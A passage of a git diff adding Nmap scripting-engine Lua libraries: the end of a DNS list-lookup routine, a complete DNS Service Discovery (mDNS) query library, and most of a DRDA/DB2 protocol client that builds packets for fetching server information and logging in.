+ threads[co] = true
+ end
+
+ repeat
+ for t in pairs(threads) do
+ if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until( next(threads) == nil )
+
+ for name, answer in pairs(answers) do
+ local status, answer, svc = answer.status, answer.answer, answer.svc
+ if ( status ) then
+ local svc_result = svc:resp_parser(answer)
+ if ( not(svc_result) ) then
+ local resp = ( #answer > 0 and ("UNKNOWN (%s)"):format(answer[1]) or "UNKNOWN" )
+ stdnse.debug2("%s received %s", name, resp)
+ end
+
+ if ( svc_result ) then
+ table.insert(result, { name = name, result = svc_result })
+ end
+
+ -- if status is false, and the response was "No Such Name", it
+ -- simply means that the IP isn't listed, we haven't failed at
+ -- this point. It would obviously be better to check this against
+ -- an error code, or in some other way, but this is what we've got.
+ elseif ( answer ~= "No Such Name" ) then
+ table.insert(result, { name = name, result = { state = "FAIL" }})
+ end
+ end
+ return result
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/dnssd.lua b/nselib/dnssd.lua
new file mode 100644
index 0000000..b4aadcc
--- /dev/null
+++ b/nselib/dnssd.lua
@@ -0,0 +1,397 @@
+--- Library for supporting DNS Service Discovery
+--
+-- The library supports
+-- * Unicast and Multicast requests
+-- * Decoding responses
+-- * Running requests in parallel using Lua coroutines
+--
+-- The library contains the following classes
+-- * <code>Comm</code>
+-- ** A class with static functions that handle communication using the dns library
+-- * <code>Helper</code>
+-- ** The helper class wraps the <code>Comm</code> class using functions with a more descriptive name.
+-- ** The purpose of this class is to give developers easy access to some of the common DNS-SD tasks.
+-- * <code>Util</code>
+-- ** The <code>Util</code> class contains a number of static functions mainly used to convert data.
+--
+-- The following code snippet queries all mDNS resolvers on the network for a
+-- full list of their supported services and returns the formatted output:
+-- <code>
+-- local helper = dnssd.Helper:new( )
+-- helper:setMulticast(true)
+-- return stdnse.format_output(helper:queryServices())
+-- </code>
+--
+-- This next snippet queries a specific host for the same information:
+-- <code>
+-- local helper = dnssd.Helper:new( host, port )
+-- return stdnse.format_output(helper:queryServices())
+-- </code>
+--
+-- In order to query for a specific service a string or table with service
+-- names can be passed to the <code>Helper.queryServices</code> method.
+--
+-- @args dnssd.services string or table containing services to query
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+local coroutine = require "coroutine"
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local target = require "target"
+_ENV = stdnse.module("dnssd", stdnse.seeall)
+
+Util = {
+
+ --- Compare function used for sorting IP-addresses
+ --
+ -- @param a table containing first item
+ -- @param b table containing second item
+ -- @return true if a is less than b
+ ipCompare = function(a, b)
+ return ipOps.compare_ip(a, "lt", b)
+ end,
+
+ --- Function used to compare discovered DNS services so they can be sorted
+ --
+ -- @param a table containing first item
+ -- @param b table containing second item
+ -- @return true if the port of a is less than the port of b
+ serviceCompare = function(a, b)
+ -- if no port is found use 999999 for comparing, this way all services
+ -- without ports and device information gets printed at the end
+ local port_a = a.name:match("^(%d+)") or 999999
+ local port_b = b.name:match("^(%d+)") or 999999
+
+ if ( tonumber(port_a) < tonumber(port_b) ) then
+ return true
+ end
+ return false
+ end,
+
+ --- Creates a service host table
+ --
+ -- ['_ftp._tcp.local'] = {10.10.10.10,20.20.20.20}
+ -- ['_http._tcp.local'] = {30.30.30.30,40.40.40.40}
+ --
+ -- @param response containing multiple responses from <code>dns.query</code>
+ -- @return services table containing the service name as a key and all host addresses as value
+ createSvcHostTbl = function( response )
+ local services = {}
+ -- Create unique table of services
+ for _, r in ipairs( response ) do
+ -- do we really have multiple responses?
+ if ( not(r.output) ) then return end
+ for _, svc in ipairs(r.output ) do
+ services[svc] = services[svc] or {}
+ table.insert(services[svc], r.peer)
+ end
+ end
+
+ return services
+ end,
+
+ --- Creates a unique list of services
+ --
+ -- @param response containing a single or multiple responses from
+ -- <code>dns.query</code>
+ -- @return array of strings containing service names
+ getUniqueServices = function( response )
+ local services = {}
+
+ for _, r in ipairs(response) do
+ if ( r.output ) then
+ for _, svc in ipairs(r.output) do services[svc] = true end
+ else
+ services[r] = true
+ end
+ end
+
+ return services
+ end,
+
+ --- Returns the amount of currently active threads
+ --
+ -- @param threads table containing the list of threads
+ -- @return count number containing the number of non-dead threads
+ threadCount = function( threads )
+ local count = 0
+
+ for thread in pairs(threads) do
+ if ( coroutine.status(thread) == "dead" ) then
+ threads[thread] = nil
+ else
+ count = count + 1
+ end
+ end
+ return count
+ end
+
+}
+
+Comm = {
+
+ --- Gets a record from both the Answer and Additional section
+ --
+ -- @param dtype DNS resource record type.
+ -- @param response Decoded DNS response.
+ -- @param retAll If true, return all entries, not just the first.
+ -- @return True if one or more answers of the required type were found - otherwise false.
+ -- @return Answer according to the answer fetcher for <code>dtype</code> or an Error message.
+ getRecordType = function( dtype, response, retAll )
+
+ local result = {}
+ local status1, answers = dns.findNiceAnswer( dtype, response, retAll )
+
+ if status1 then
+ if retAll then
+ for _, v in ipairs(answers) do
+ table.insert(result, string.format("%s", v) )
+ end
+ else
+ return true, answers
+ end
+ end
+
+ local status2, answers = dns.findNiceAdditional( dtype, response, retAll )
+
+ if status2 then
+ if retAll then
+ for _, v in ipairs(answers) do
+ table.insert(result, v)
+ end
+ else
+ return true, answers
+ end
+ end
+
+ if not status1 and not status2 then
+ return false, answers
+ end
+
+ return true, result
+
+ end,
+
+ --- Send a query for a particular service and store the response in a table
+ --
+ -- @param host string containing the ip to connect to
+ -- @param port number containing the port to connect to
+ -- @param svc the service record to retrieve
+ -- @param multiple true if responses from multiple hosts are expected
+ -- @param svcresponse table to which results are stored
+ queryService = function( host, port, svc, multiple, svcresponse )
+ local condvar = nmap.condvar(svcresponse)
+ local status, response = dns.query( svc, { port = port, host = host, dtype="PTR", retPkt=true, retAll=true, multiple=multiple, sendCount=1, timeout=2000} )
+ if not status then
+ stdnse.debug1("Failed to query service: %s; Error: %s", svc, response)
+ return
+ end
+ svcresponse[svc] = svcresponse[svc] or {}
+ if ( multiple ) then
+ for _, r in ipairs(response) do
+ table.insert( svcresponse[svc], r )
+ end
+ else
+ svcresponse[svc] = response
+ end
+ condvar("broadcast")
+ end,
+
+ --- Decodes a record received from the <code>queryService</code> function
+ --
+ -- @param response as returned by <code>queryService</code>
+ -- @param result table into which the decoded output should be stored
+ decodeRecords = function( response, result )
+ local service, deviceinfo = {}, {}
+ local txt = {}
+ local ipv6, srv, address, port, proto
+
+ local record = ( #response.questions > 0 and response.questions[1].dname ) and response.questions[1].dname or ""
+
+ local status, ip = Comm.getRecordType( dns.types.A, response, false )
+ if status then address = ip end
+
+ status, ipv6 = Comm.getRecordType( dns.types.AAAA, response, false )
+ if status then
+ address = address or ""
+ address = address .. " " .. ipv6
+ end
+
+ status, txt = Comm.getRecordType( dns.types.TXT, response, true )
+ if status then
+ for _, v in ipairs(txt) do
+ if v:len() > 0 then
+ table.insert(service, v)
+ end
+ end
+ end
+
+ status, srv = Comm.getRecordType( dns.types.SRV, response, false )
+ if status then
+ local srvparams = stringaux.strsplit( ":", srv )
+
+ if #srvparams > 3 then
+ port = srvparams[3]
+ end
+ end
+
+ if address then
+ table.insert( service, ("Address=%s"):format( address ) )
+ end
+
+ if record == "_device-info._tcp.local" then
+ service.name = "Device Information"
+ deviceinfo = service
+ table.insert(result, deviceinfo)
+ else
+ local serviceparams = stringaux.strsplit("[.]", record)
+
+ if #serviceparams > 2 then
+ local servicename = serviceparams[1]:sub(2)
+ local proto = serviceparams[2]:sub(2)
+
+ if port == nil or proto == nil or servicename == nil then
+ service.name = record
+ else
+ service.name = string.format( "%s/%s %s", port, proto, servicename)
+ end
+ end
+ table.insert( result, service )
+ end
+ end,
+
+ --- Query the mDNS resolvers for a list of their services
+ --
+ -- @param host table as received by the action function
+ -- @param port number specifying the port to connect to
+ -- @param multiple receive multiple responses (multicast)
+ -- @return True if a dns response was received and contained an answer of
+ -- the requested type, or the decoded dns response was requested
+ -- (retPkt) and is being returned - or False otherwise.
+ -- @return String answer of the requested type, Table of answers or a
+ -- String error message of one of the following:
+ -- "No Such Name", "No Servers", "No Answers",
+ -- "Unable to handle response"
+ queryAllServices = function( host, port, multiple )
+ local sendCount, timeout = 1, 2000
+ if ( multiple ) then
+ sendCount, timeout = 2, 5000
+ end
+ return dns.query( "_services._dns-sd._udp.local", { port = port, host = ( host.ip or host ), dtype="PTR", retAll=true, multiple=multiple, sendCount=sendCount, timeout=timeout } )
+ end,
+
+}
+
+Helper = {
+
+ --- Creates a new helper instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port number containing the port to connect to
+ -- @return o a new instance of Helper
+ new = function( self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.mcast = false
+ return o
+ end,
+
+
+ --- Instructs the helper to use unconnected sockets supporting multicast
+ --
+ -- @param mcast boolean true if multicast is to be used, false otherwise
+ setMulticast = function( self, mcast )
+ assert( type(mcast)=="boolean", "mcast has to be either true or false")
+ self.mcast = mcast
+ end,
+
+ --- Performs a DNS-SD query against a host
+ --
+ -- @param host table as received by the action function
+ -- @param port number specifying the port to connect to
+ -- @param service string or table with the service(s) to query eg.
+ -- _ssh._tcp.local, _afpovertcp._tcp.local
+ -- if nil defaults to _services._dns-sd._udp.local (all)
+ -- @param mcast boolean true if a multicast query is to be done
+ -- @return status true on success, false on failure
+ -- @return response table suitable for <code>stdnse.format_output</code>
+ queryServices = function( self, service )
+ local result = {}
+ local status, response
+ local mcast = self.mcast
+ local port = self.port or 5353
+ local family = nmap.address_family()
+ local host = mcast and (family=="inet6" and "ff02::fb" or "224.0.0.251") or self.host
+ local service = service or stdnse.get_script_args('dnssd.services')
+
+ if ( not(service) ) then
+ status, response = Comm.queryAllServices( host, port, mcast )
+ if ( not(status) ) then return status, response end
+ else
+ if ( 'string' == type(service) ) then
+ response = { service }
+ elseif ( 'table' == type(service) ) then
+ response = service
+ end
+ end
+
+ response = Util.getUniqueServices(response)
+
+ local svcresponse = {}
+ local condvar = nmap.condvar( svcresponse )
+ local threads = {}
+
+ for svc in pairs(response) do
+ local co = stdnse.new_thread( Comm.queryService, (host.ip or host), port, svc, mcast, svcresponse )
+ threads[co] = true
+ end
+
+ -- Wait for all threads to finish running
+ while Util.threadCount(threads)>0 do condvar("wait") end
+
+ local ipsvctbl = {}
+ if ( mcast ) then
+ -- Process all records that were returned
+ for svcname, response in pairs(svcresponse) do
+ for _, r in ipairs( response ) do
+ ipsvctbl[r.peer] = ipsvctbl[r.peer] or {}
+ Comm.decodeRecords( r.output, ipsvctbl[r.peer] )
+ end
+ end
+ else
+ -- Process all records that were returned
+ for svcname, response in pairs(svcresponse) do
+ Comm.decodeRecords( response, result )
+ end
+ end
+
+ if ( mcast ) then
+ -- Restructure and build our output table
+ for ip, svctbl in pairs( ipsvctbl ) do
+ table.sort(svctbl, Util.serviceCompare)
+ svctbl.name = ip
+ if target.ALLOW_NEW_TARGETS then target.add(ip) end
+ table.insert( result, svctbl )
+ end
+ table.sort( result, Util.ipCompare )
+ else
+ -- sort the tables per port
+ table.sort( result, Util.serviceCompare )
+ end
+ return true, result
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/drda.lua b/nselib/drda.lua
new file mode 100644
index 0000000..9ef74a0
--- /dev/null
+++ b/nselib/drda.lua
@@ -0,0 +1,775 @@
+---
+-- DRDA Library supporting a very limited subset of operations.
+--
+-- Summary
+-- * The library currently provides functionality to: (1) Query the server for
+-- basic settings using the <code>getServerInfo</code> function of the helper
+-- class. (2) Authenticate to a DB2 server using a plain-text username and
+-- password.
+--
+-- The library contains the following classes:
+-- * <code>DRDA</code>
+-- ** Implements the Distributed Relational Database Architecture class .
+-- * <code>DRDAParameter</code>
+-- ** Implements a number of functions to handle DRDA parameters.
+-- * <code>DDM</code>
+-- ** Implements the DDM portion of the DRDA structure
+-- * <code>Command</code>
+-- ** Provides functions for easy creation of the most common DRDAs.
+-- ** Implemented as a static class that returns an instance of the DRDA.
+-- * <code>Helper</code>
+-- ** A helper class that provides easy access to the rest of the library
+-- * <code>DB2Socket</code>
+-- ** A smallish socket wrapper that provides fundamental buffering
+-- * <code>StringUtil</code>
+-- ** Provides EBCDIC/ASCII conversion functions
+-- * <code>Comm</code>
+-- ** Provides fundamental communication support (send/receive DRDAPacket)
+-- * <code>DRDAPacket</code>
+-- ** A class holding one or more DRDA's and provides some basic access methods
+--
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface with the library:
+--
+-- <code>
+-- db2helper = drda.Helper:new()
+-- status, err = db2helper:connect(host, port)
+-- status, res = db2helper:getServerInfo()
+-- status, err = db2helper:close()
+-- </code>
+--
+-- The implementation is based on packet dumps and the excellent decoding
+-- provided by Wireshark.
+--
+-- There is some documentation at
+-- http://publib.boulder.ibm.com/infocenter/dzichelp/v2r2/topic/com.ibm.db29.doc.drda/db2z_drda.htm.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+--
+-- Version 0.2
+-- Created 05/08/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/27/2010 - v0.2 - Added the comm class and made a few improvements
+-- to sending and receiving packets. Changed the
+-- helper login method to support:
+-- x IBM DB2
+-- x Apache Derby
+-- x IBM Informix Dynamic Server
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("drda", stdnse.seeall)
+
+-- CodePoint constants
+CodePoint = {
+ CODEPNT = 0x000c,
+ TYPDEFNAM = 0x002f,
+ TYPDEFOVR = 0x0035,
+ ACCSEC = 0x106d,
+ SECCHK = 0x106e,
+ EXCSAT = 0x1041,
+ PRDID = 0x112e,
+ SRVCLSNM = 0x1147,
+ SVRCOD = 0x1149,
+ SYNERRCD = 0x114a,
+ SRVRLSLV = 0x115a,
+ EXTNAM = 0x115e,
+ SRVNAM = 0x116d,
+ USRID = 0x11a0,
+ PASSWORD = 0x11a1,
+ SECMEC = 0x11a2,
+ SECCHKCD = 0x11a4,
+ SECCHKRM = 0x1219,
+ SYNTAXRM = 0x124c,
+ MGRLVLLS = 0x1404,
+ EXCSATRD = 0x1443,
+ ACCSECRD = 0x14ac,
+ ACCRDB = 0x2001,
+ PRDDATA = 0x2104,
+ RDBACCL = 0x210f,
+ RDBNAM = 0x2110,
+ CRRTKN = 0x2135,
+ ACCRDBRM = 0x2201,
+ RDBNFNRM = 0x2211,
+ RDBAFLRM = 0x221a,
+ RDBATHRM = 0x22cb,
+}
+
+-- Security Mechanism
+SecMec =
+{
+ USER_PASSWORD = 0x0003,
+ USER_ONLY = 0x0004,
+ CHANGE_PASSWORD = 0x0005,
+ USER_PASS_SUBST = 0x0006,
+ USER_ENC_PASS = 0x0007,
+ ENC_USER_ENC_PASS = 0x0009,
+ ENC_CHANGE_PASS = 0x000A,
+ KERBEROS = 0x000B,
+ ENC_USER_DATA = 0x000C,
+ ENC_USER_ENC_PASS_ENC_DATA = 0x000D,
+ ENC_USER_ENC_PASS_ENC_NEWPASS_ENC_DATA = 0x000E,
+}
+
+DRDAPacket = {
+
+ new = function(self, drda_array)
+ local o = {
+ drda_array = drda_array,
+ count = #drda_array
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ getDRDAByCodePoint = function( self, codepoint )
+ for i=1, #self.drda_array do
+ if ( self.drda_array[i].DDM.CodePoint == codepoint ) then
+ return self.drda_array[i]
+ end
+ end
+ end,
+
+ getDRDA = function( self, n )
+ return ( #self.drda_array >= n ) and self.drda_array[n] or nil
+ end,
+
+ __tostring = function( self )
+ local data = ""
+ -- do some DDM fixup in here
+ for i=1, #self.drda_array do
+ if ( i == 1 and #self.drda_array > 1 ) then
+ self.drda_array[1].DDM.Format = 0x41
+ else
+ self.drda_array[i].DDM.Format = 0x01
+ end
+ self.drda_array[i].DDM.CorelId = i
+ data = data .. tostring(self.drda_array[i])
+ end
+ return data
+ end
+
+}
+
+-- Distributed Relational Database Architecture (DRDA) Class
+DRDA = {
+
+ new = function(self, ddm)
+ local o = {
+ Parameters = {},
+ DDM = ddm
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the DDM
+ --
+ -- @param ddm DDM to assign to the DRDA
+ -- @return status boolean true on success, false on failure
+ setDDM = function( self, ddm )
+ if ( not(ddm) ) then
+ return false, "DDM cannot be nil"
+ end
+ self.DDM = ddm
+ return true
+ end,
+
+ --- Adds a DRDA parameter to the table
+ --
+ -- @param param DRDAParam containing the parameter to add to the table
+ -- @return status bool true on success, false on failure
+ -- @return err string containing the error message if status is false
+ addParameter = function( self, param )
+ if ( not(self.DDM) ) then
+ stdnse.debug1("drda.DRDA.addParameter: DDM must be set prior to adding parameters")
+ return false, "DDM must be set prior to adding parameters"
+ end
+ if ( not(param) ) then
+ stdnse.debug1("drda.DRDA.addParameter: Param cannot be nil")
+ return false, "Param cannot be nil"
+ end
+
+ table.insert(self.Parameters, param)
+
+ -- update the DDM length fields
+ self.DDM.Length = self.DDM.Length + param.Length
+ self.DDM.Length2 = self.DDM.Length2 + param.Length
+
+ return true
+ end,
+
+ --- Gets a parameter from the DRDA parameter table
+ --
+ -- @param codepoint number containing the parameter type ro retrieve
+ -- @return param DRDAParameter containing the requested parameter
+ getParameter = function( self, codepoint )
+ for _, v in ipairs( self.Parameters ) do
+ if ( v.CodePoint == codepoint ) then
+ return v
+ end
+ end
+ return
+ end,
+
+ --- Converts the DRDA class to a string
+ --
+ -- @return data containing the object instance
+ __tostring = function(self)
+ if ( not(self.DDM) ) then
+ stdnse.debug1("drda.DRDA.toString: DDM cannot be nil")
+ return nil
+ end
+
+ local data = {
+ string.pack(">I2BBI2I2I2", self.DDM.Length, self.DDM.Magic, self.DDM.Format, self.DDM.CorelId, self.DDM.Length2, self.DDM.CodePoint )
+ }
+ for k,v in ipairs(self.Parameters) do
+ data[#data+1] = tostring(v)
+ end
+ return table.concat(data)
+ end,
+
+ --- Sends the DRDA over the db2socket
+ --
+ -- @param db2socket DB2Socket over which to send the data
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ send = function( self, db2socket )
+ return db2socket:send( tostring(self) )
+ end,
+
+ --- Receives data from the db2socket and builds a DRDA object
+ --
+ -- @param db2socket from which to read data
+ -- @return Status (true or false).
+ -- @return Data (if status is true) or error string (if status is false).
+ receive = function( self, db2socket )
+ local DDM_SIZE = 10
+ local pos = 1
+
+ -- first read atleast enough so that we can populate the DDM
+ local status, data = db2socket:receive_buf( match.numbytes(DDM_SIZE), true )
+ if ( not(status) ) then
+ stdnse.debug1("drda.DRDA.receive: %s", data)
+ return false, ("Failed to read at least %d bytes from socket"):format(DDM_SIZE)
+ end
+
+ local ddm = DDM:new()
+ ddm:fromString( data )
+ self:setDDM( ddm )
+
+ status, data = db2socket:receive_buf( match.numbytes(ddm.Length - 10), true )
+ if ( not(status) ) then
+ return false, ("Failed to read the remaining %d bytes of the DRDA message")
+ end
+
+ -- add parameters until pos reaches the "end"
+ repeat
+ local param = DRDAParameter:new()
+ pos = param:fromString( data, pos )
+ self:addParameter( param )
+ until ( #data <= pos )
+
+ return true
+ end,
+
+}
+
+-- The DRDAParameter class implements the DRDA parameters
+DRDAParameter = {
+
+ --- DRDA Parameter constructor
+ --
+ -- @param codepoint number containing the codepoint value
+ -- @param data string containing the data portion of the DRDA parameter
+ -- @return o DRDAParameter object
+ new = function(self, codepoint, data)
+ local o = {
+ CodePoint = codepoint,
+ Data = data,
+ Length = ( data and #data + 4 or 4 )
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DRDA Parameter object to a string
+ --
+ -- @return data string containing the DRDA Parameter
+ __tostring = function( self )
+ return string.pack(">I2I2", self.Length, self.CodePoint) .. (self.Data or "")
+ end,
+
+ --- Builds a DRDA Parameter from a string
+ --
+ -- @param data string from which to build the DRDA Parameter
+ -- @param pos number containing the offset into data
+ -- @return pos the new position after processing, -1 on error
+ fromString = function( self, data, pos )
+ if( #data < 4 ) then
+ return -1
+ end
+ self.Length, self.CodePoint, pos = string.unpack( ">I2I2", data, pos )
+
+ if ( self.Length > 0 ) then
+ self.Data, pos = string.unpack("c" .. self.Length - 4, data, pos )
+ end
+ return pos
+ end,
+
+ --- Returns the data portion of the parameter as an ASCII string
+ --
+ -- @return str containing the data portion of the DRDA parameter as ASCII
+ getDataAsASCII = function( self )
+ return StringUtil.toASCII( self.Data )
+ end,
+
+ --- Returns the data in EBCDIC format
+ --
+ -- @return str containing the data portion of the DRDA parameter in EBCDIC
+ getData = function( self )
+ return self.Data
+ end,
+
+}
+
+-- Distributed data management (DDM)
+DDM = {
+
+ Formats =
+ {
+ RESERVED = 0x80,
+ CHAINED = 0x40,
+ CONTINUE = 0x20,
+ SAME_CORRELATION = 0x10,
+ },
+
+ Length = 10,
+ Magic = 0xD0,
+ Format = 0x41,
+ CorelId = 1,
+ Length2 = 4,
+ CodePoint = 0,
+
+ --- Creates a new DDM packet
+ --
+ -- @param codepoint
+ -- @param format
+ -- @param corelid
+ -- @return DDM object
+ new = function(self, codepoint, format, corelid)
+ local o = {
+ CodePoint = codepoint,
+ Format = format,
+ CorelId = corelid
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DDM object to a string
+ __tostring = function( self )
+ return string.pack(">I2BBI2I2I2", self.Length, self.Magic, self.Format, self.CorelId, self.Length2, self.CodePoint)
+ end,
+
+ --- Constructs a DDM object from a string
+ --
+ -- @param str containing the data from which to construct the object
+ fromString = function( self, str )
+ local DDM_SIZE = 10
+ local pos = 1
+
+ if ( #str < DDM_SIZE ) then
+ return -1, ("drda.DDM.fromString: str was less than DDM_SIZE (%d)"):format( DDM_SIZE )
+ end
+
+ self.Length, self.Magic, self.Format, self.CorelId, self.Length2, self.CodePoint, pos = string.unpack( ">I2BBI2I2I2", str )
+ return pos
+ end,
+
+ --- Verifiers if there are additional DRDA's following
+ --
+ -- @return true if the DRDA is to be chained, false if it's the last one
+ isChained = function( self )
+ if ( (self.Format & DDM.Formats.CHAINED) == DDM.Formats.CHAINED ) then
+ return true
+ end
+ return false
+ end,
+
+ --- Set the DRDA as chained (more following)
+ --
+ -- @param chained boolean true if more DRDA's are following
+ setChained = function( self, chained )
+ if ( self:isChained() ) then
+ self.Format = ( self.Format ~ self.Formats.CHAINED )
+ else
+ self.Format = ( self.Format | self.Formats.CHAINED )
+ end
+ end,
+
+}
+
+-- static DRDA packet construction class
+Command =
+{
+ --- Builds an EXCSAT DRDA packet
+ --
+ -- @param extname string containing the external name
+ -- @param srvname string containing the server name
+ -- @param rellev string containing the server product release level
+ -- @param mgrlvlls string containing the manager level list
+ -- @param srvclass string containing the server class name
+ -- @return drda DRDA instance
+ EXCSAT = function( extname, srvname, rellev, mgrlvlls, srvclass )
+ local drda = DRDA:new( DDM:new( CodePoint.EXCSAT ) )
+
+ drda:addParameter( DRDAParameter:new( CodePoint.EXTNAM, StringUtil.toEBCDIC( extname ) ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.SRVNAM, StringUtil.toEBCDIC( srvname ) ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.SRVRLSLV, StringUtil.toEBCDIC( rellev ) ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.MGRLVLLS, mgrlvlls ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.SRVCLSNM, StringUtil.toEBCDIC( srvclass ) ) )
+
+ return drda
+ end,
+
+ --- Builds an ACCSEC DRDA packet
+ --
+ -- @param secmec number containing the security mechanism ID
+ -- @param database string containing the database name
+ -- @return drda DRDA instance
+ ACCSEC = function( secmec, database )
+ local drda = DRDA:new( DDM:new( CodePoint.ACCSEC ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.SECMEC, secmec ))
+ drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) ))
+
+ return drda
+ end,
+
+ --- Builds a SECCHK DRDA packet
+ --
+ -- @param secmec number containing the security mechanism ID
+ -- @param database string containing the database name
+ -- @param username string
+ -- @param password string
+ -- @return drda DRDA instance
+ SECCHK = function( secmec, database, username, password )
+ local drda = DRDA:new( DDM:new( CodePoint.SECCHK ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.SECMEC, secmec ))
+ drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) ))
+ drda:addParameter( DRDAParameter:new( CodePoint.USRID, StringUtil.toEBCDIC(username) ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.PASSWORD, StringUtil.toEBCDIC(password) ) )
+
+ return drda
+ end,
+
+ --- Builds an ACCRDB DRDA packet
+ --
+ -- @param database string containing the database name
+ -- @param rdbaccl string containing the RDB access manager class
+ -- @param prdid string containing the product id
+ -- @param typdefnam string containing the data type definition name
+ -- @param typdefovr string containing the data type definition override
+ -- @return drda DRDA instance
+ ACCRDB = function( database, rdbaccl, prdid, prddata, typdefnam, crrtkn, typdefovr )
+ local drda = DRDA:new( DDM:new( CodePoint.ACCRDB ) )
+ drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) ) )
+
+ if ( rdbaccl ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.RDBACCL, rdbaccl ) )
+ end
+ if ( prdid ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.PRDID, StringUtil.toEBCDIC( prdid ) ) )
+ end
+ if ( prddata ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.PRDDATA, StringUtil.toEBCDIC( prddata ) ) )
+ end
+ if( typdefnam ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.TYPDEFNAM, StringUtil.toEBCDIC( typdefnam ) ) )
+ end
+ if( crrtkn ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.CRRTKN, crrtkn ) )
+ end
+ if( typdefovr ) then
+ drda:addParameter( DRDAParameter:new( CodePoint.TYPDEFOVR, typdefovr ) )
+ end
+
+ return drda
+ end
+
+}
+
+
+-- Helper Class
+Helper = {
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connect to the DB2 host
+ --
+ -- @param host table
+ -- @param port table
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ connect = function( self, host, port )
+ self.comm = Comm:new( host, port )
+ return self.comm:connect()
+ end,
+
+ --- Closes an open connection.
+ --
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ close = function( self )
+ self.comm:close()
+ end,
+
+ --- Returns Server Information (name, platform, version)
+ --
+ -- @return table containing <code>extname</code>, <code>srvclass</code>,
+ -- <code>srvname</code> and <code>prodrel</code>
+ getServerInfo = function( self )
+ local mgrlvlls = stdnse.fromhex("1403000724070008240f00081440000814740008")
+ local drda_excsat = Command.EXCSAT( "", "", "", mgrlvlls, "" )
+ local response, param, err
+
+ local status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_excsat } ) )
+ if ( not(status) ) then return false, err end
+
+ local drda = packet:getDRDAByCodePoint( CodePoint.EXCSATRD )
+ if ( drda ) then
+ response = {}
+ param = drda:getParameter( CodePoint.EXTNAM )
+ if ( param ) then
+ response.extname = param:getDataAsASCII()
+ end
+ param = drda:getParameter( CodePoint.SRVCLSNM )
+ if ( param ) then
+ response.srvclass = param:getDataAsASCII()
+ end
+ param = drda:getParameter( CodePoint.SRVNAM )
+ if ( param ) then
+ response.srvname = param:getDataAsASCII()
+ end
+ param = drda:getParameter( CodePoint.SRVRLSLV )
+ if ( param ) then
+ response.prodrel = param:getDataAsASCII()
+ end
+ else
+ return false, "The response contained no EXCSATRD"
+ end
+
+ return true, response
+ end,
+
+ --- Login to DB2 database server
+ --
+ -- @param database containing the name of the database
+ -- @param username containing the authentication username
+ -- @param password containing the authentication password
+ -- @return Status (true or false)
+ -- @return err message (if status if false)
+ login = function( self, database, username, password )
+ local mgrlvlls = stdnse.fromhex("1403000724070008240f00081440000814740008")
+ local secmec, prdid = "\00\03", "JCC03010"
+ local tdovr = stdnse.fromhex("0006119c04b80006119d04b00006119e04b8")
+ local crrtkn= stdnse.fromhex("d5c6f0f0f0f0f0f14bc3c6f4c4012a11168414")
+
+ local drda_excsat = Command.EXCSAT( "", "", "", mgrlvlls, "" )
+ local drda_accsec = Command.ACCSEC( secmec, database )
+ local drda_secchk = Command.SECCHK( secmec, database, username, password )
+ local drda_accrdb = Command.ACCRDB( database, "\x24\x07", "DNC10060", nil, "QTDSQLASC", crrtkn, tdovr)
+
+ local status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_excsat, drda_accsec } ) )
+ if( not(status) ) then return false, packet end
+
+ if ( packet:getDRDAByCodePoint( CodePoint.RDBNFNRM ) or
+ packet:getDRDAByCodePoint( CodePoint.RDBAFLRM ) ) then
+ stdnse.debug1("drda.Helper.login: ERROR: RDB not found")
+ return false, "ERROR: Database not found"
+ end
+
+ local drda = packet:getDRDAByCodePoint( CodePoint.ACCSECRD )
+ if ( not(drda) ) then
+ return false, "ERROR: Response did not contain any valid security mechanisms"
+ end
+
+ local param = drda:getParameter( CodePoint.SECMEC )
+ if ( not(param) ) then
+ stdnse.debug1("drda.Helper.login: ERROR: Response did not contain any valid security mechanisms")
+ return false, "ERROR: Response did not contain any valid security mechanisms"
+ end
+
